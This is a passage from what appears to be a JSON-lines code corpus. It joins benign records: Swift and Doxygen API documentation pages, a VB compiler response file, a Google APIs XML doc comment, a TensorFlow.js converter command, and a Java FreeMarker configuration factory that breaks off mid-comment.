<span class=\"kd\">protocol</span> <span class=\"kt\">AnyPlasticNodeDescription</span></code></pre>\n\n </div>\n </div>\n <p>Type Erasure for <code><a href=\"../Protocols/PlasticNodeDescription.html\">PlasticNodeDescription</a></code></p>\n\n </section>\n <section class=\"section task-group-section\">\n <div class=\"task-group\">\n <ul>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:ZFP6Katana25AnyPlasticNodeDescription9anyLayoutFT5viewsP_5propsP_5stateP__T_\"></a>\n <a name=\"//apple_ref/swift/Method/anyLayout(views:props:state:)\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:ZFP6Katana25AnyPlasticNodeDescription9anyLayoutFT5viewsP_5propsP_5stateP__T_\">anyLayout(views:props:state:)</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Implements the layout logic of the node description</p>\n\n<div class=\"aside aside-see-also\">\n <p class=\"aside-title\">See also</p>\n <code><a href=\"../Protocols/PlasticNodeDescription.html\">PlasticNodeDescription</a></code>, <code>layout(views:props:state:)</code> method\n\n</div>\n\n </div>\n <div class=\"declaration\">\n <h4>Declaration</h4>\n <div class=\"language\">\n <p class=\"aside-title\">Swift</p>\n <pre class=\"highlight\"><code><span class=\"kd\">static</span> <span class=\"kd\">func</span> <span class=\"nf\">anyLayout</span><span class=\"p\">(</span><span class=\"nv\">views</span><span class=\"p\">:</span> <span class=\"kt\">Any</span><span class=\"p\">,</span> <span class=\"nv\">props</span><span class=\"p\">:</span> <span class=\"kt\">Any</span><span class=\"p\">,</span> <span class=\"nv\">state</span><span class=\"p\">:</span> <span class=\"kt\">Any</span><span class=\"p\">)</span></code></pre>\n\n </div>\n </div>\n <div class=\"slightly-smaller\">\n <a href=\"https://github.com/BendingSpoons/katana-swift/tree/0.8.9/Katana/Plastic/PlasticNodeDescription.swift#L18\">Show on GitHub</a>\n </div>\n </section>\n </div>\n </li>\n </ul>\n </div>\n </section>\n </section>\n <section id=\"footer\">\n <p>&copy; 2017 <a class=\"link\" href=\"http://bendingspoons.com\" target=\"_blank\" rel=\"external\">Bending Spoons Team</a>. All rights reserved. (Last updated: 2017-07-24)</p>\n <p>Generated by <a class=\"link\" href=\"https://github.com/realm/jazzy\" target=\"_blank\" rel=\"external\">jazzy ♪♫ v0.7.4</a>, a <a class=\"link\" href=\"http://realm.io\" target=\"_blank\" rel=\"external\">Realm</a> project.</p>\n </section>\n </article>\n </div>\n </body>\n</div>\n</html>\n"} {"text": "<!-- HTML header for doxygen 1.8.13-->\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<link rel=\"icon\" type=\"image/x-icon\" href=\"favicon.ico\" />\n<meta http-equiv=\"Content-Type\" content=\"text/xhtml;charset=UTF-8\"/>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=9\"/>\n<meta name=\"generator\" content=\"Doxygen 1.8.13\"/>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"/>\n<title>chigraph: lib/core/include/chi/Fwd.hpp File Reference</title>\n<link href=\"tabs.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<script type=\"text/javascript\" src=\"jquery.js\"></script>\n<script type=\"text/javascript\" src=\"dynsections.js\"></script>\n<link href=\"navtree.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<script type=\"text/javascript\" src=\"resize.js\"></script>\n<script type=\"text/javascript\" src=\"navtreedata.js\"></script>\n<script type=\"text/javascript\" src=\"navtree.js\"></script>\n<script type=\"text/javascript\">\n $(document).ready(initResizable);\n</script>\n<link href=\"search/search.css\" rel=\"stylesheet\" type=\"text/css\"/>\n<script type=\"text/javascript\" src=\"search/searchdata.js\"></script>\n<script type=\"text/javascript\" src=\"search/search.js\"></script>\n<link href=\"doxygen.css\" rel=\"stylesheet\" type=\"text/css\" />\n</head>\n<body>\n<div id=\"top\"><!-- do not remove this div, it is closed by doxygen! -->\n<div id=\"titlearea\">\n<table cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr style=\"height: 56px;\">\n <td id=\"projectlogo\"><img alt=\"Logo\" src=\"chigraphDoxygenIcon.png\"/></td>\n <td id=\"projectalign\" style=\"padding-left: 0.5em;\">\n <div id=\"projectname\">chigraph\n &#160;<span id=\"projectnumber\">master</span>\n </div>\n <div id=\"projectbrief\">Systems programming language written for beginners in LLVM</div>\n </td>\n </tr>\n </tbody>\n</table>\n</div>\n<!-- end header part -->\n<!-- Generated by Doxygen 1.8.13 -->\n<script type=\"text/javascript\">\nvar searchBox = new SearchBox(\"searchBox\", \"search\",false,'Search');\n</script>\n<script type=\"text/javascript\" src=\"menudata.js\"></script>\n<script type=\"text/javascript\" src=\"menu.js\"></script>\n<script type=\"text/javascript\">\n$(function() {\n initMenu('',true,false,'search.php','Search');\n $(document).ready(function() { init_search(); });\n});\n</script>\n<div id=\"main-nav\"></div>\n</div><!-- top -->\n<div id=\"side-nav\" class=\"ui-resizable side-nav-resizable\">\n <div id=\"nav-tree\">\n <div id=\"nav-tree-contents\">\n <div id=\"nav-sync\" class=\"sync\"></div>\n </div>\n </div>\n <div id=\"splitbar\" style=\"-moz-user-select:none;\" \n class=\"ui-resizable-handle\">\n </div>\n</div>\n<script type=\"text/javascript\">\n$(document).ready(function(){initNavTree('core_2include_2chi_2Fwd_8hpp.html','');});\n</script>\n<div id=\"doc-content\">\n<!-- window showing the filter options -->\n<div id=\"MSearchSelectWindow\"\n onmouseover=\"return searchBox.OnSearchSelectShow()\"\n onmouseout=\"return searchBox.OnSearchSelectHide()\"\n onkeydown=\"return searchBox.OnSearchSelectKey(event)\">\n</div>\n\n<!-- iframe showing the search results (closed by default) -->\n<div id=\"MSearchResultsWindow\">\n<iframe src=\"javascript:void(0)\" frameborder=\"0\" \n name=\"MSearchResults\" id=\"MSearchResults\">\n</iframe>\n</div>\n\n<div class=\"header\">\n <div class=\"summary\">\n<a href=\"#namespaces\">Namespaces</a> </div>\n <div class=\"headertitle\">\n<div class=\"title\">Fwd.hpp File Reference</div> </div>\n</div><!--header-->\n<div class=\"contents\">\n\n<p>Forward declares all the chigraph data types. \n<a href=\"#details\">More...</a></p>\n<div class=\"textblock\"><code>#include &quot;<a class=\"el\" href=\"support_2include_2chi_2Support_2Fwd_8hpp_source.html\">chi/Support/Fwd.hpp</a>&quot;</code><br />\n</div><div class=\"textblock\"><div id=\"dynsection-0\" onclick=\"return toggleVisibility(this)\" class=\"dynheader closed\" style=\"cursor:pointer;\">\n <img id=\"dynsection-0-trigger\" src=\"closed.png\" alt=\"+\"/> Include dependency graph for Fwd.hpp:</div>\n<div id=\"dynsection-0-summary\" class=\"dynsummary\" style=\"display:block;\">\n</div>\n<div id=\"dynsection-0-content\" class=\"dyncontent\" style=\"display:none;\">\n<div class=\"center\"><iframe scrolling=\"no\" frameborder=\"0\" src=\"core_2include_2chi_2Fwd_8hpp__incl.svg\" width=\"152\" height=\"127\"><p><b>This browser is not able to show SVG: try Firefox, Chrome, Safari, or Opera instead.</b></p></iframe>\n</div>\n</div>\n</div><div class=\"textblock\"><div id=\"dynsection-1\" onclick=\"return toggleVisibility(this)\" class=\"dynheader closed\" style=\"cursor:pointer;\">\n <img id=\"dynsection-1-trigger\" src=\"closed.png\" alt=\"+\"/> This graph shows which files directly or indirectly include this file:</div>\n<div id=\"dynsection-1-summary\" class=\"dynsummary\" style=\"display:block;\">\n</div>\n<div id=\"dynsection-1-content\" class=\"dyncontent\" style=\"display:none;\">\n<div class=\"center\"><div class=\"zoom\"><iframe scrolling=\"no\" frameborder=\"0\" src=\"core_2include_2chi_2Fwd_8hpp__dep__incl.svg\" width=\"100%\" height=\"596\"><p><b>This browser is not able to show SVG: try Firefox, Chrome, Safari, or Opera instead.</b></p></iframe></div>\n</div>\n</div>\n</div>\n<p><a href=\"core_2include_2chi_2Fwd_8hpp_source.html\">Go to the source code of this file.</a></p>\n<table class=\"memberdecls\">\n<tr class=\"heading\"><td colspan=\"2\"><h2 class=\"groupheader\"><a name=\"namespaces\"></a>\nNamespaces</h2></td></tr>\n<tr class=\"memitem:namespacechi\"><td class=\"memItemLeft\" align=\"right\" valign=\"top\"> &#160;</td><td class=\"memItemRight\" valign=\"bottom\"><a class=\"el\" href=\"namespacechi.html\">chi</a></td></tr>\n<tr class=\"memdesc:namespacechi\"><td class=\"mdescLeft\">&#160;</td><td class=\"mdescRight\">The namespace where chigraph lives. <br /></td></tr>\n<tr class=\"separator:\"><td class=\"memSeparator\" colspan=\"2\">&#160;</td></tr>\n</table>\n<a name=\"details\" id=\"details\"></a><h2 class=\"groupheader\">Detailed Description</h2>\n<div class=\"textblock\"><p>Forward declares all the chigraph data types. </p>\n\n<p class=\"definition\">Definition in file <a class=\"el\" href=\"core_2include_2chi_2Fwd_8hpp_source.html\">Fwd.hpp</a>.</p>\n</div></div><!-- contents -->\n</div><!-- doc-content -->\n<!-- start footer part -->\n<div id=\"nav-path\" class=\"navpath\"><!-- id is needed for treeview function! -->\n <ul>\n <li class=\"navelem\"><a class=\"el\" href=\"dir_97aefd0d527b934f1d99a682da8fe6a9.html\">lib</a></li><li class=\"navelem\"><a class=\"el\" href=\"dir_a2d5e495f4b604d04f57d90095a59dd6.html\">core</a></li><li class=\"navelem\"><a class=\"el\" href=\"dir_a979adfa99d5a8626731f83d5067598b.html\">include</a></li><li class=\"navelem\"><a class=\"el\" href=\"dir_afbc2aa4d9616322ddf4041ba4f8ade6.html\">chi</a></li><li class=\"navelem\"><a class=\"el\" href=\"core_2include_2chi_2Fwd_8hpp.html\">Fwd.hpp</a></li>\n <li class=\"footer\">Generated on Sat Sep 16 2017 17:41:35 for chigraph by\n <a href=\"http://www.doxygen.org/index.html\">\n <img class=\"footer\" src=\"doxygen.png\" alt=\"doxygen\"/></a> 1.8.13 </li>\n </ul>\n</div>\n</body>\n</html>\n"} {"text": "# Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.\n\n# This file contains command-line options that the VB\n# command line compiler (VBC) will process as part\n# of every compilation, unless the \"/noconfig\" option\n# is specified. \n\n# Reference the common Framework libraries\n/r:Accessibility.dll\n/r:System.Configuration.dll\n/r:System.Configuration.Install.dll\n/r:System.Data.dll\n/r:System.Data.OracleClient.dll\n/r:System.Deployment.dll\n/r:System.Design.dll\n/r:System.DirectoryServices.dll\n/r:System.dll\n/r:System.Drawing.Design.dll\n/r:System.Drawing.dll\n/r:System.EnterpriseServices.dll\n/r:System.Management.dll\n/r:System.Messaging.dll\n/r:System.Runtime.Remoting.dll\n/r:System.Runtime.Serialization.Formatters.Soap.dll\n/r:System.Security.dll\n/r:System.ServiceProcess.dll\n/r:System.Transactions.dll\n/r:System.Web.dll\n/r:System.Web.Mobile.dll\n/r:System.Web.RegularExpressions.dll\n/r:System.Web.Services.dll\n/r:System.Windows.Forms.dll\n/r:System.XML.dll\n\n/r:System.Workflow.Activities.dll\n/r:System.Workflow.ComponentModel.dll\n/r:System.Workflow.Runtime.dll\n/r:System.Runtime.Serialization.dll\n/r:System.ServiceModel.dll\n\n/r:System.Core.dll\n/r:System.Xml.Linq.dll\n/r:System.Data.Linq.dll\n/r:System.Data.DataSetExtensions.dll\n/r:System.Web.Extensions.dll\n/r:System.Web.Extensions.Design.dll\n/r:System.ServiceModel.Web.dll\n\n# Import System and Microsoft.VisualBasic\n/imports:System\n/imports:Microsoft.VisualBasic\n/imports:System.Linq\n/imports:System.Xml.Linq\n\n/optioninfer+\n"} {"text": "<?xml version=\"1.0\"?>\n<doc>\n <assembly>\n <name>Google.Apis.PlatformServices</name>\n </assembly>\n <members>\n <member name=\"T:Google.Apis.Util.Store.PasswordVaultDataStore\">\n <summary>\n Credentials store that implements <see cref=\"T:Google.Apis.Util.Store.IDataStore\"/>.\n This store saves all keys encrypted in a <see cref=\"T:Windows.Security.Credentials.PasswordVault\"/>\n </summary>\n </member>\n <member name=\"M:Google.Apis.Util.Store.PasswordVaultDataStore.StoreAsync``1(System.String,``0)\">\n <summary>Adds a new key to the password vault.</summary>\n </member>\n <member name=\"M:Google.Apis.Util.Store.PasswordVaultDataStore.DeleteAsync``1(System.String)\">\n <summary>Deletes a given key from the password vault.</summary>\n </member>\n <member name=\"M:Google.Apis.Util.Store.PasswordVaultDataStore.GetAsync``1(System.String)\">\n <summary>\n Gets a specific key from the password vault. Returns <c>default(T)</c> if there is no matching entry.\n </summary>\n </member>\n <member name=\"M:Google.Apis.Util.Store.PasswordVaultDataStore.ClearAsync\">\n <summary>Removes all values from the password vault.</summary>\n </member>\n </members>\n</doc>\n"} {"text": "tensorflowjs_converter \\\n --input_format=tf_saved_model \\\n --output_format=tfjs_graph_model \\\n --signature_name=serving_default \\\n --saved_model_tags=serve \\\n saved_model \\\n tfjs_model\n\n\n\n"} {"text": "/*\r\n * Copyright 2008-2010 biaoping.yin\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\npackage org.frameworkset.ui.freemarker;\r\n\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.Arrays;\r\nimport java.util.List;\r\nimport java.util.Map;\r\nimport java.util.Properties;\r\n\r\nimport org.frameworkset.spi.ApplicationContext;\r\nimport org.frameworkset.spi.io.PropertiesLoaderUtils;\r\nimport org.frameworkset.util.CollectionUtils;\r\nimport org.frameworkset.util.io.DefaultResourceLoader;\r\nimport org.frameworkset.util.io.Resource;\r\nimport org.frameworkset.util.io.ResourceEditor;\r\nimport org.frameworkset.util.io.ResourceLoader;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport freemarker.cache.FileTemplateLoader;\r\nimport freemarker.cache.MultiTemplateLoader;\r\nimport freemarker.cache.TemplateLoader;\r\nimport freemarker.template.Configuration;\r\nimport freemarker.template.SimpleHash;\r\nimport freemarker.template.TemplateException;\r\n\r\n/**\r\n * Factory that configures a FreeMarker Configuration. Can be used standalone, but\r\n * typically you will either use FreeMarkerConfigurationFactoryBean for preparing a\r\n * Configuration as bean reference, or FreeMarkerConfigurer for web views.\r\n *\r\n * <p>The optional \"configLocation\" property sets the location of a FreeMarker\r\n * properties file, within the current application. FreeMarker properties can be\r\n * overridden via \"freemarkerSettings\". All of these properties will be set by\r\n * calling FreeMarker's <code>Configuration.setSettings()</code> method and are\r\n * subject to constraints set by FreeMarker.\r\n *\r\n * <p>The \"freemarkerVariables\" property can be used to specify a Map of\r\n * shared variables that will be applied to the Configuration via the\r\n * <code>setAllSharedVariables()</code> method. Like <code>setSettings()</code>,\r\n * these entries are subject to FreeMarker constraints.\r\n *\r\n * <p>The simplest way to use this class is to specify a \"templateLoaderPath\";\r\n * FreeMarker does not need any further configuration then.\r\n *\r\n * <p>Note: Bboss's FreeMarker support requires FreeMarker 2.3 or higher.\r\n *\r\n * @author Darren Davison\r\n * @author Juergen Hoeller\r\n * @since 03.03.2004\r\n * @see #setConfigLocation\r\n * @see #setFreemarkerSettings\r\n * @see #setFreemarkerVariables\r\n * @see #setTemplateLoaderPath\r\n * @see #createConfiguration\r\n * @see FreeMarkerConfigurationFactoryBean\r\n * @see org.frameworkset.web.servlet.view.freemarker.FreeMarkerConfigurer\r\n * @see freemarker.template.Configuration\r\n */\r\npublic class FreeMarkerConfigurationFactory {\r\n\r\n\tprotected final static Logger logger = LoggerFactory.getLogger(FreeMarkerConfigurationFactory.class);\r\n\r\n\tprivate Resource configLocation;\r\n\r\n\tprivate Properties freemarkerSettings;\r\n\r\n\tprivate Map<String, Object> freemarkerVariables;\r\n\r\n\tprivate String defaultEncoding;\r\n\r\n\tprivate final List<TemplateLoader> templateLoaders = new ArrayList<TemplateLoader>();\r\n\r\n\tprivate List<TemplateLoader> preTemplateLoaders;\r\n\r\n\tprivate List<TemplateLoader> postTemplateLoaders;\r\n\r\n\tprivate String[] templateLoaderPaths;\r\n\r\n\tprivate ResourceLoader resourceLoader = new DefaultResourceLoader();\r\n\r\n\tprivate boolean preferFileSystemAccess = true;\r\n\r\n\r\n\t/**\r\n\t * Set the location of the FreeMarker config file.\r\n\t * Alternatively, you can specify all setting locally.\r\n\t * @see #setFreemarkerSettings\r\n\t * @see #setTemplateLoaderPath\r\n\t */\r\n\tpublic void setConfigLocation(Resource resource) {\r\n\t\tconfigLocation = resource;\r\n\t}\r\n\r\n\t/**\r\n\t * Set properties that contain well-known FreeMarker keys which will be\r\n\t * passed to FreeMarker's <code>Configuration.setSettings</code> method.\r\n\t * @see freemarker.template.Configuration#setSettings\r\n\t */\r\n\tpublic void setFreemarkerSettings(Properties settings) {\r\n\t\tthis.freemarkerSettings = settings;\r\n\t}\r\n\r\n\t/**\r\n\t * Set a Map that contains well-known FreeMarker objects which will be passed\r\n\t * to FreeMarker's <code>Configuration.setAllSharedVariables()</code> method.\r\n\t * @see freemarker.template.Configuration#setAllSharedVariables\r\n\t */\r\n\tpublic void setFreemarkerVariables(Map<String, Object> variables) {\r\n\t\tthis.freemarkerVariables = variables;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the default encoding for the FreeMarker configuration.\r\n\t * If not specified, FreeMarker will use the platform file encoding.\r\n\t * <p>Used for template rendering unless there is an explicit encoding specified\r\n\t * for the rendering process (for example, on Bboss's FreeMarkerView).\r\n\t * @see freemarker.template.Configuration#setDefaultEncoding\r\n\t * @see org.frameworkset.web.servlet.view.freemarker.FreeMarkerView#setEncoding\r\n\t */\r\n\tpublic void setDefaultEncoding(String defaultEncoding) {\r\n\t\tthis.defaultEncoding = defaultEncoding;\r\n\t}\r\n\r\n\t/**\r\n\t * Set a List of <code>TemplateLoader<code>s that will be used to search\r\n\t * for templates. For example, one or more custom loaders such as database\r\n\t * loaders could be configured and injected here.\r\n\t * @deprecated as of Bboss 2.0.1, in favor of the \"preTemplateLoaders\"\r\n\t * and \"postTemplateLoaders\" properties\r\n\t * @see #setPreTemplateLoaders\r\n\t * @see #setPostTemplateLoaders\r\n\t */\r\n\t@Deprecated\r\n\tpublic void setTemplateLoaders(TemplateLoader[] templateLoaders) {\r\n\t\tif (templateLoaders != null) {\r\n\t\t\tthis.templateLoaders.addAll(Arrays.asList(templateLoaders));\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Set a List of <code>TemplateLoader<code>s that will be used to search\r\n\t * for templates. For example, one or more custom loaders such as database\r\n\t * loaders could be configured and injected here.\r\n\t * <p>The {@link TemplateLoader TemplateLoaders} specified here will be\r\n\t * registered <i>before</i> the default template loaders that this factory\r\n\t * registers (such as loaders for specified \"templateLoaderPaths\" or any\r\n\t * loaders registered in {@link #postProcessTemplateLoaders}).\r\n\t * @see #setTemplateLoaderPaths\r\n\t * @see #postProcessTemplateLoaders\r\n\t */\r\n\tpublic void setPreTemplateLoaders(TemplateLoader[] preTemplateLoaders) {\r\n\t\tthis.preTemplateLoaders = Arrays.asList(preTemplateLoaders);\r\n\t}\r\n\r\n\t/**\r\n\t * Set a List of <code>TemplateLoader<code>s that will be used to search\r\n\t * for templates. For example, one or more custom loaders such as database\r\n\t * loaders can be configured.\r\n\t * <p>The {@link TemplateLoader TemplateLoaders} specified here will be\r\n\t * registered <i>after</i> the default template loaders that this factory\r\n\t * registers (such as loaders for specified \"templateLoaderPaths\" or any\r\n\t * loaders registered in {@link #postProcessTemplateLoaders}).\r\n\t * @see #setTemplateLoaderPaths\r\n\t * @see #postProcessTemplateLoaders\r\n\t */\r\n\tpublic void setPostTemplateLoaders(TemplateLoader[] postTemplateLoaders) {\r\n\t\tthis.postTemplateLoaders = Arrays.asList(postTemplateLoaders);\r\n\t}\r\n\r\n\t/**\r\n\t * Set the Freemarker template loader path via a Bboss resource location.\r\n\t * See the \"templateLoaderPaths\" property for details on path handling.\r\n\t * @see #setTemplateLoaderPaths\r\n\t */\r\n\tpublic void setTemplateLoaderPath(String templateLoaderPath) {\r\n\t\tthis.templateLoaderPaths = new String[] {templateLoaderPath};\r\n\t}\r\n\r\n\t/**\r\n\t * Set multiple Freemarker template loader paths via Bboss resource locations.\r\n\t * <p>When populated via a String, standard URLs like \"file:\" and \"classpath:\"\r\n\t * pseudo URLs are supported, as understood by ResourceEditor. Allows for\r\n\t * relative paths when running in an ApplicationContext.\r\n\t * <p>Will define a path for the default FreeMarker template loader.\r\n\t * If a specified resource cannot be resolved to a <code>java.io.File</code>,\r\n\t * a generic BbossTemplateLoader will be used, without modification detection.\r\n\t * <p>To enforce the use of BbossTemplateLoader, i.e. to not resolve a path\r\n\t * as file system resource in any case, turn off the \"preferFileSystemAccess\"\r\n\t * flag. See the latter's javadoc for details.\r\n\t * <p>If you wish to specify your own list of TemplateLoaders, do not set this\r\n\t * property and instead use <code>setTemplateLoaders(List templateLoaders)</code>\r\n\t * @see ResourceEditor\r\n\t * @see ApplicationContext#getResource\r\n\t * @see freemarker.template.Configuration#setDirectoryForTemplateLoading\r\n\t * @see BbossTemplateLoader\r\n\t * @see #setTemplateLoaders\r\n\t */\r\n\tpublic void setTemplateLoaderPaths(String[] templateLoaderPaths) {\r\n\t\tthis.templateLoaderPaths = templateLoaderPaths;\r\n\t}\r\n\r\n\t/**\r\n\t * Set the Bboss ResourceLoader to use for loading FreeMarker template files.\r\n\t * The default is DefaultResourceLoader. Will get overridden by the\r\n\t * ApplicationContext if running in a context.\r\n\t * @see DefaultResourceLoader\r\n\t */\r\n\tpublic void setResourceLoader(ResourceLoader resourceLoader) {\r\n\t\tthis.resourceLoader = resourceLoader;\r\n\t}\r\n\r\n\t/**\r\n\t * Return the Bboss ResourceLoader to use for loading FreeMarker template files.\r\n\t */\r\n\tprotected ResourceLoader getResourceLoader() {\r\n\t\treturn resourceLoader;\r\n\t}\r\n\r\n\t/**\r\n\t * Set whether to prefer file system access for template loading.\r\n\t * File system access enables hot detection of template changes.\r\n\t * <p>If this is enabled, FreeMarkerConfigurationFactory will try to resolve\r\n\t * the specified \"templateLoaderPath\" as file system resource (which will work\r\n\t * for expanded class path resources and ServletContext resources too).\r\n\t * <p>Default is \"true\". Turn this off to always load via BbossTemplateLoader\r\n\t * (i.e. as stream, without hot detection of template changes), which might\r\n\t * be necessary if some of your templates reside in an expanded classes\r\n\t * directory while others reside in jar files.\r\n\t * @see #setTemplateLoaderPath\r\n\t */\r\n\tpublic void setPreferFileSystemAccess(boolean preferFileSystemAccess) {\r\n\t\tthis.preferFileSystemAccess = preferFileSystemAccess;\r\n\t}\r\n\r\n\t/**\r\n\t * Return whether to prefer file system access for template loading.\r\n\t */\r\n\tprotected boolean isPreferFileSystemAccess() {\r\n\t\treturn preferFileSystemAccess;\r\n\t}\r\n\r\n\r\n\t/**\r\n\t * Prepare the FreeMarker Configuration and return it.\r\n\t * @return the FreeMarker Configuration object\r\n\t * @throws IOException if the config file wasn't found\r\n\t * @throws TemplateException on FreeMarker initialization failure\r\n\t */\r\n\tpublic Configuration createConfiguration() throws IOException, TemplateException {\r\n\t\tConfiguration config = newConfiguration();\r\n\t\tProperties props = new Properties();\r\n\r\n\t\t// Load config file if specified.\r\n\t\tif (this.configLocation != null) {\r\n\t\t\tif (logger.isInfoEnabled()) {\r\n\t\t\t\tlogger.info(\"Loading FreeMarker configuration from \" + this.configLocation);\r\n\t\t\t}\r\n\t\t\tPropertiesLoaderUtils.fillProperties(props, this.configLocation);\r\n\t\t}\r\n\r\n\t\t// Merge local properties if specified.\r\n\t\tif (this.freemarkerSettings != null) {\r\n\t\t\tprops.putAll(this.freemarkerSettings);\r\n\t\t}\r\n\r\n\t\t// FreeMarker will only accept known keys in its setSettings and\r\n\t\t// setAllSharedVariables methods.\r\n\t\tif (!props.isEmpty()) {\r\n\t\t\tconfig.setSettings(props);\r\n\t\t}\r\n\r\n\t\tif (!CollectionUtils.isEmpty(this.freemarkerVariables)) {\r\n\t\t\tconfig.setAllSharedVariables(new SimpleHash(this.freemarkerVariables, config.getObjectWrapper()));\r\n\t\t}\r\n\r\n\t\tif (this.defaultEncoding != null) {\r\n\t\t\tconfig.setDefaultEncoding(this.defaultEncoding);\r\n\t\t}\r\n\r\n\t\t// Register template loaders that are supposed to kick in early.\r\n\t\tif (this.preTemplateLoaders != null) {\r\n\t\t\tthis.templateLoaders.addAll(this.preTemplateLoaders);\r\n\t\t}\r\n\r\n\t\t// Register default template loaders.\r\n\t\tif (this.templateLoaderPaths != null) {\r\n\t\t\tfor (String path : this.templateLoaderPaths) {\r\n\t\t\t\tthis.templateLoaders.add(getTemplateLoaderForPath(path));\r\n\t\t\t}\r\n\t\t}\r\n\t\tpostProcessTemplateLoaders(this.templateLoaders);\r\n\r\n\t\t// Register template loaders that are supposed to kick in late.\r\n\t\tif (this.postTemplateLoaders != null) {\r\n\t\t\tthis.templateLoaders.addAll(this.postTemplateLoaders);\r\n\t\t}\r\n\r\n\t\tTemplateLoader loader = getAggregateTemplateLoader(this.templateLoaders);\r\n\t\tif (loader != null) {\r\n\t\t\tconfig.setTemplateLoader(loader);\r\n\t\t}\r\n\r\n\t\tpostProcessConfiguration(config);\r\n\t\treturn config;\r\n\t}\r\n\r\n\t/**\r\n\t * Return a new Configuration object. Subclasses can override this for\r\n\t * custom initialization, or for using a mock object for testing.\r\n\t * <p>Called by <code>createConfiguration()</code>.\r\n\t * @return the Configuration object\r\n\t * @throws IOException if a config file wasn't found\r\n\t * @throws TemplateException on FreeMarker initialization failure\r\n\t * @see #createConfiguration()\r\n\t */\r\n\tprotected Configuration newConfiguration() throws IOException, TemplateException {\r\n\t\treturn new Configuration();\r\n\t}\r\n\r\n\t/**\r\n\t * Determine a FreeMarker TemplateLoader for the given path.\r\n\t * <p>Default implementation creates either a FileTemplateLoader or\r\n\t * a BbossTemplateLoader.\r\n\t * @param templateLoaderPath the path to load templates from\r\n\t * @return an appropriate TemplateLoader\r\n\t * @see freemarker.cache.FileTemplateLoader\r\n\t * @see BbossTemplateLoader\r\n\t */\r\n\tprotected TemplateLoader getTemplateLoaderForPath(String templateLoaderPath) {\r\n\t\tif (isPreferFileSystemAccess()) {\r\n\t\t\t// Try to load via the file system, fall back to BbossTemplateLoader\r\n\t\t\t// (for hot detection of template changes, if possible).\r\n\t\t\ttry {\r\n\t\t\t\tResource path = getResourceLoader().getResource(templateLoaderPath);\r\n\t\t\t\tFile file = path.getFile(); // will fail if not resolvable in the file system\r\n\t\t\t\tif (logger.isDebugEnabled()) {\r\n\t\t\t\t\tlogger.debug(\r\n\t\t\t\t\t\t\t\"Template loader path [\" + path + \"] resolved to file path [\" + file.getAbsolutePath() + \"]\");\r\n\t\t\t\t}\r\n\t\t\t\treturn new FileTemplateLoader(file);\r\n\t\t\t}\r\n\t\t\tcatch (IOException ex) {\r\n\t\t\t\tif (logger.isDebugEnabled()) {\r\n\t\t\t\t\tlogger.debug(\"Cannot resolve template loader path [\" + templateLoaderPath +\r\n\t\t\t\t\t\t\t\"] to [java.io.File]: using BbossTemplateLoader as fallback\", ex);\r\n\t\t\t\t}\r\n\t\t\t\treturn new FreeMarkerTemplateLoader(getResourceLoader(), templateLoaderPath);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Always load via FreeMarkerTemplateLoader (without hot detection of template changes).\r\n\t\t\tlogger.debug(\"File system access not preferred: using FreeMarkerTemplateLoader\");\r\n\t\t\treturn new FreeMarkerTemplateLoader(getResourceLoader(), templateLoaderPath);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * To be overridden by subclasses that want to to register custom\r\n\t * TemplateLoader instances after this factory created its default\r\n\t * template loaders.\r\n\t * <p>Called by <code>createConfiguration()</code>. Note that specified\r\n\t * \"postTemplateLoaders\" will be registered <i>after</i> any loaders\r\n\t * registered by this callback; as a consequence, they are are <i>not</i>\r\n\t * included in the given List.\r\n\t * @param templateLoaders the current List of TemplateLoader instances,\r\n\t * to be modified by a subclass\r\n\t * @see #createConfiguration()\r\n\t * @see #setPostTemplateLoaders\r\n\t */\r\n\tprotected void postProcessTemplateLoaders(List<TemplateLoader> templateLoaders) {\r\n\t}\r\n\r\n\t/**\r\n\t * Return a TemplateLoader based on the given TemplateLoader list.\r\n\t * If more than one TemplateLoader has been registered, a FreeMarker\r\n\t * MultiTemplateLoader needs to be created.\r\n\t * @param templateLoaders the final List of TemplateLoader instances\r\n\t * @return the aggregate TemplateLoader\r\n\t */\r\n\tprotected TemplateLoader getAggregateTemplateLoader(List<TemplateLoader> templateLoaders) {\r\n\t\tint loaderCount = templateLoaders.size();\r\n\t\tswitch (loaderCount) {\r\n\t\t\tcase 0:\r\n\t\t\t\tlogger.info(\"No FreeMarker TemplateLoaders specified\");\r\n\t\t\t\treturn null;\r\n\t\t\tcase 1:\r\n\t\t\t\treturn templateLoaders.get(0);\r\n\t\t\tdefault:\r\n\t\t\t\tTemplateLoader[] loaders = templateLoaders.toArray(new TemplateLoader[loaderCount]);\r\n\t\t\t\treturn new MultiTemplateLoader(loaders);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * To be overridden by subclasses that want to to perform custom\r\n\t * post-processing of the Configuration object after this factory\r\n\t * performed its default initialization.\r\n\t * <p>Called by 